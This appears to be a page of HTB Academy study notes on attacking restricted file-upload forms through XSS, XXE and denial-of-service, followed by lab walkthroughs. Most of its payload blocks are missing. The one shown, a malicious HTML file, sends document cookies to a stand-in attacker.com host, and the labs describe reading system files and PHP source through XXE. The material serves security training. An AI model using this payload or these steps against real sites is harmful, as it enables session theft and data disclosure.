Limited File Uploads

🛡️ Secure Forms: Attacking "secure" upload forms with XSS, XXE, and DoS when arbitrary uploads fail

Overview

So far, we have been mainly dealing with filter bypasses to obtain arbitrary file uploads through a vulnerable web application. While file upload forms with weak filters can be exploited to upload arbitrary files, some upload forms have secure filters that may not be exploitable with the techniques we discussed.

However, even if we are dealing with a limited (i.e., non-arbitrary) file upload form, which only allows us to upload specific file types, we may still be able to perform some attacks on the web application.

Certain file types, like SVG, HTML, XML, and even some image and document files, may allow us to introduce new vulnerabilities to the web application by uploading malicious versions of these files.

Cross-Site Scripting (XSS) Attacks

HTML File XSS

Attack Vector: Upload malicious HTML files containing JavaScript

Malicious HTML Example:

<!DOCTYPE html>
<html>
<head>
    <title>Malicious HTML</title>
</head>
<body>
    <h1>Legitimate Content</h1>
    <script>
        alert('XSS Triggered from: ' + window.origin);
        fetch('http://attacker.com/steal?cookies=' + document.cookie);
    </script>
</body>
</html>

Image Metadata XSS

Using exiftool to inject XSS:

SVG XSS Attacks

Basic SVG XSS Payload:

XML External Entity (XXE) Attacks

SVG XXE for System File Reading

Reading /etc/passwd:

PHP Source Code Disclosure

Reading PHP source with base64 encoding:

Decoding base64 output:

Denial of Service (DoS) Attacks

Decompression Bomb (ZIP)

Creating a ZIP bomb:

Pixel Flood Attack

Manual hex editing:

HTB Academy Lab Solutions

Lab 1: XXE File Disclosure Attack

Challenge: Read /flag.txt using XXE through secure upload form

Step 1: Create SVG with XXE payload

Step 2: Upload SVG file

  • Save payload as xxe.svg

  • Upload through the secure form (should accept SVG files)

  • Navigate to uploaded file location

Step 3: View SVG content

  • Access the uploaded SVG file in browser

  • Check page source if content is not visible

  • Flag should be displayed in SVG text content

Expected Flag: HTB{...}

Lab 2: Source Code Disclosure

Challenge: Read upload.php source code to identify uploads directory

Step 1: Create PHP source disclosure SVG

Step 2: Upload and access SVG

  • Upload the SVG file

  • View the uploaded file

  • Copy the base64 encoded content

Step 3: Decode PHP source

Expected Answer: The exact directory name as found in source code

This comprehensive guide demonstrates that even "secure" upload forms can be vulnerable to sophisticated attacks through legitimate file types.

PreviousType FiltersNextAdvanced Bypass Methods

Last updated